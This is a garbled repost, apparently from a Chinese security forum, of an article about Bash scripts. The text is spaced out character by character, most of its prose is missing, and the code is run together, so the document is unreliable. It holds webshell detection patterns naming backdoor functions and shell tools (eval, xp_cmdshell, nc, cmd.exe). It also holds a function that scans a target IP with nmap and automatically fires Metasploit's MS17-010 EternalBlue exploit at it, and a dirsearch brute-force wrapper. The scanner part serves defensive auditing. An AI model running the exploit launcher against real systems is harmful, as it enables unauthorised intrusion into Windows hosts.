[16292] 2021-01-07_基于BashShell的一个审计脚本

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-01-07_基于BashShell的一个审计脚本 B a s h   S h e l l   F r e e B u f   2 0 2 1 - 0 1 - 0 7 f r e e b u f L i n u x w i n d o w s w e b s h e l l 使 便 L i n u x P y t h o n p e r l a w k g r e p f i n d f u n c t i o n m s f W e b s h e l l W e b s h e l l r e a d   - p   西 i f   [   - z   $ f i l e p a t h   ] ; t h e n e c h o   - e   " 0 3 3 [ 1 ; 3 1 m   0 3 3 [ 0 m " w e b s c a n e l i f   [   - z   $ w o r d l i s t   ] ; t h e n e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   $ f i l e p a t h   0 3 3 [ 0 m " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   $ w o r d l i s t   0 3 3 [ 0 m " e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " e v a l | < ? p h p   e v a l | G I F 8 9 a | _ P " . / * - / * - * / " O S " . | < ? p h p   $ _ G E T | b a s e 6 4 _ d e c o d e ( $ | a r r a y _ m a p ( a s s e r t | a r r a y ( $ B a s e ( $ _ P O S | e x t r a c t ( $ _ R E Q U E S T | e v a l ( ' @ i n i _ s e t | Z X Z h b C g n Q G l u a V 9 z Z X Q | ' e ' . ' v ' . ' a ' . ' l ' " f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " | | | | | | | | | s y s t e m ( $ c m d ) | s h e l l _ e x e c ( $ c m d ) | $ c m d = s o c k e t | c m d | s h e l l n a m e | s h e l l | w e b s h e l l | f 3 7 7 3 6 8 6 5 6 c 6 c 2 e 6 7 6 f 6 f 6 7 6 c 6 5 6 3 6 f 6 | e x p l o d e ( | m y s q l D l l . d l l | e x e c   s p _ c o n f i g u r e | x p _ c m d s h e l l | B a c k D o o r | n e t   u s e r | e v a l ( g z u n c | c m d . e x e | c o m m a n d | e x e c f u n c " f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " * * * " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . j s p " | x a r g s   e g r e p   " | | | | | | | | | e x e c ( c m d | e x e c u t e Q u e r y | e x e c u t e | R e a l V N C | c m d . e x e | " n c   | r e g   q u e r y | W i n S t a t i o n s | R D P - T c p | P o r t N u m b e | e x e c u t e | ' c m d ' | H a s h M a p ( | C o m m a n d   W i n d o w | J F o l d e r | e x e C m d " f i n d   $ f i l e p a t h   - n a m e   " * . j s p " | x a r g s   e g r e p   " * * * " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . h t m l " | x a r g s   e g r e p   " * * * " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " f i n d   $ f i l e p a t h   - n a m e   " * . h t m l " | x a r g s   e g r e p   " Q Q : | Q Q | h a c k e r | h a c k | h a c k   b y : | | | " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . t x t " | x a r g s   e g r e p   " Q Q : | Q Q | h a c k e r | h a c k | h a c k   b y : | | * * * * " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   0 3 3 [ 0 m " e l s e e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   $ f i l e p a t h   0 3 3 [ 0 m " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   $ w o r d l i s t   0 3 3 [ 0 m " e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "
使 w i n d o w s n o t e p a d + +   t e s t | $ P O S T | ( $ _ P O S T   n o t e p a d + + u n i x 3 W e b e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " w o r d l i s t 1 = $ ( c a t   $ w o r d l i s t ) f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " $ w o r d l i s t 1 "     | g r e p   - v   " B i n a r y " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 5 ; 3 7 m     0 3 3 [ 0 m " } ' | u n i q f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | g r e p   - v   " B i n a r y " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m   w e b s h e l l   0 3 3 [ 0 m " } ' | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . p h p " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . j s p " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 5 ; 3 7 m   J S P   0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . j s p " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . h t m l " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . h t m l " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   f i n d   $ f i l e p a t h   - n a m e   " * . t x t " | x a r g s   e g r e p   " $ w o r d l i s t 1 " | a w k   - F   " : "   ' { p r i n t   $ 1   "         "   " 0 3 3 [ 4 1 ; 3 7 m     0 3 3 [ 0 m " } ' | g r e p   - v   " B i n a r y " | u n i q   e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " e c h o   - e   " 0 3 3 [ 4 4 ; 3 7 m   0 3 3 [ 0 m " e c h o   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - " f i
i p w e b s h e l l I P 4 0 4 4 0 0 B i n a r y 便 e c h o   " "                 r e a d   - p   " "   n a m e 6 6                 i f   [   - z   $ n a m e 6 6   ] ; t h e n                 e c h o   " "                 e l s e                 e c h o   " * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * "                 m o r e   $ f i l e p a t h 2 / a c c e s s * . *   | e g r e p   " / $ n a m e 6 6 " | g r e p   - v   "   4 0 4 " | a w k   - F   "   "   ' { p r i n t   " 访 I P " $ 1 "   " " " $ 7 } ' | g r e p   - v   " B i n a r y " | g r e p   - v   " 4 0 0 " | g r e p   - v   "   4 0 0   0   " | s o r t   | u n i q   - c   | s o r t   - r n   >                 f l = $ ( c a t   $ f i l e p a t h 2 / l o g / $ n a m e 6 6 - i p . l o g )                 i f   [   - z   $ f l   ] ; t h e n                 e c h o   " $ n a m e 6 6 "                 r m   - r f   $ f i l e p a t h 2 / l o g / $ n a m e 6 6 - i p . l o g                 e c h o   " "                 r e a d   k e y                 s u p e r                 e l s e                 c a t   $ f i l e p a t h 2 / l o g / $ n a m e 6 6 - i p . l o g                 e c h o   " * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * "                 m o r e   $ f i l e p a t h 2 / a c c e s s * . *   | e g r e p   " / $ n a m e 6 6 " | g r e p   - v   "   4 0 4 " | a w k   - F   "   "   ' { p r i n t   $ n a m e 6 6 } ' | g r e p   - v   " B i n a r y " | g r e p   - v   " 4 0 0 " | g r e p   - v   "   4 0 0   0   " | s o r t   | u n i q   - c   | s o r t   - r n   > $ f i l e p a t h 2                 c a t   $ f i l e p a t h 2 / l o g / $ n a m e 6 6 . l o g                 e c h o   " * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * "                 f i                 f i                 m e n u                 ; ;
f u n c t i o n 2 0 2 0 s h e l l ~ . . . # ! / b i n / b a s h f u n c t i o n   m e n u { c a t   < < E O F                 e c h o   " 1 ) "                 e c h o   " 2 ) "                 e c h o   " 3 ) "                 e c h o   " 4 ) " E O F m e n u r e a d   - p   " "   n u m 1 c a s e   " $ n u m 1 "   i n         1 )                 e c h o   " c a s e   1 "                 g n 1         ; ;         2 )                 e c h o   " f u n c t i o n   g n 2 "                 g n 2         ; ;         3 )                 e c h o   " d e f a u l t "                 g n 3         ; ;         4 )                 e c h o   " d e f a u l t 2 "                 g n 4         ; ; e s a c } f u n c t i o n   g n 1 { e c h o   " 1 " m e n u } f u n c t i o n   g n 2 { e c h o   " 2 "         r e a d   - p   " "   z g n c a s e   " $ z g n "   i n         1 )                 e c h o   " 2 1 "         ; ;         2 )
1 c a s e e c h o   c a s e   1 g n 1 g n 1 1 m e n u 2 g n 2                 e c h o   " c a s e   2   o r   3 "         ; ;         3 )                 e c h o   " d e f a u l t "         ; ; e s a c g n 2 } f u n c t i o n   g n 3 { e c h o   " 3 "         } f u n c t i o n   g n 4 { e c h o   " 4 "         } f u n c t i o n   g n 2 { e c h o   " 2 "         r e a d   - p   " "   z g n c a s e   " $ z g n "   i n         1 )                 e c h o   " 2 1 "         ; ;         2 )                 e c h o   " c a s e   2   o r   3 "         ; ;         3 )                 e c h o   " d e f a u l t "         ; ; e s a c g n 2 }
k a l i b a s h   s h e l l f u n c t i o n I P 使 f u n c t i o n k a l i m s f B ~ n m a p + m s f M S 1 7 - 0 1 0 使 使 r e a d   - p n m a p   I P ~ r e a d   - p   I P   n u m 2 n m a p   - v   - n   $ n u m 2   4 4 5 a w k e g r e p   o p e n   p o r t   4 4 5   | a w k   - F   /   { p r i n t   $ 1 } ) c m d - s c r i p t = s m b - v u l n - m s 1 7 - 0 1 0 I P M S 1 7 - 0 1 0 c m d 2 I P M S 1 7 - 0 1 0 a w k M S 1 7 - 0 1 0 c m d 2 m s f c o n s o l e I P n m a p - n m a p   - s c r i p t = s m b - v u l n - m s 1 7 - 0 1 0   $ n u m 2 | g r e p   - v   m a s s _ d n s | e g r e p   M i c r o s o f t   S M B v 1   s e r v e r s | a w k   - F       { p r i n t   $ 1 0 } m s f c o n s o l e   - x   u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e ; s e t   R H O S T   $ n u m 2 ; r u n f u n c t i o n   m s 1 7 0 1 0 { c a t   < < E O F                                         ` e c h o   - e   " 0 3 3 [ 1 ; 3 5 m   m s 1 7 0 1 0   0 3 3 [ 0 m " ` E O F e c h o   - e   " 0 3 3 [ 1 ; 3 5 m   * * * * * * * * * * * * * * * * * * * * * * 0 3 3 [ 0 m " r e a d   - p   " I P "   n u m 2 c m d = $ ( n m a p   - v   - n   $ n u m 2 | g r e p   - v   " m a s s _ d n s " | e g r e p   " o p e n   p o r t   4 4 5 "   | a w k   - F   " / "   ' { p r i n t   $ 1 } ' ) i f   [   " $ c m d "   =   " D i s c o v e r e d   o p e n   p o r t   4 4 5 "   ] ; t h e n c m d 2 = $ ( n m a p   - s c r i p t = s m b - v u l n - m s 1 7 - 0 1 0   $ n u m 2 | g r e p   - v   " m a s s _ d n s " | e g r e p   " M i c r o s o f t   S M B v 1   s e r v e r s " | a w k   - F   "   "   ' { p r i n t   $ 1 0 } ' ) e c h o   - e   " 0 3 3 [ 1 ; 3 5 m   $ n u m 2   0 3 3 [ 0 m   4 4 5 " e l s e e c h o   - e   " 0 3 3 [ 1 ; 3 5 m   $ n u m 2   0 3 3 [ 0 m   4 4 5 " f i i f   [   " $ c m d 2 "   =   " ( m s 1 7 - 0 1 0 ) "   ] ; t h e n e c h o   - e   " : 0 3 3 [ 1 ; 3 5 m   $ n u m 2   0 3 3 [ 0 m   M S 1 7 - 0 1 0 " s l e e p   3 e c h o   - e   " 0 3 3 [ 1 ; 3 5 m   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 0 3 3 [ 0 m " m s f c o n s o l e   - x   " u s e   e x p l o i t / w i n d o w s / s m b / m s 1 7 _ 0 1 0 _ e t e r n a l b l u e ; s e t   R H O S T   $ n u m 2 ; r u n " e l s e e c h o   " " f i e x i t }
n m a p   - s c r i p t = s m b - v u l n - m s 1 7 - 0 1 0 M S 1 7 - 0 1 0 s h e l l 4 4 5 n m a p w i n d o w s t x t ~ L i n u x w i n d o w s w i n d o w s ~ @ s e t   / p   y m = " : " @ s e t   / p   j b = " : "
~ 西 ~ h t t p s : / / p a n . b a i d u . c o m / s / 1 r 5 v 1 U 6 B A d k p D 9 5 W 7 - T j N Q g 2 z l s @ r e m     @ s e t   / p   g n = " 使 : " @ r e m   1 @ i f   % g n % = = 1   ( @ e c h o   C : P y t h o n 3 6 - 3 2 p y t h o n . e x e   C : P y t h o n 3 6 - 3 2 d i r s e a r c h d i r s e a r c h . p y   - u   % y m % /   - e   % j b %   - x   4 0 3 , 4 0 4 , 4 0 0 , 4 0 1   )   e l s e   ( @ i f   % g n % = = 2   ( @ e c h o   C : P y t h o n 3 6 - 3 2 p y t h o n . e x e   C : P y t h o n 3 6 - 3 2 d i r s e a r c h d i r s e a r c h . p y   - u   % y m % /   - e   % j b %   - f   - F   - r   - e   % j b %   - x   4 0 3 , 4 0 4 , 4 0 0 , 4 0 1   - R   5   - - t i m e o u t = 2 0   - - m a x - r e t r i e s = 5 p a u s e   )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则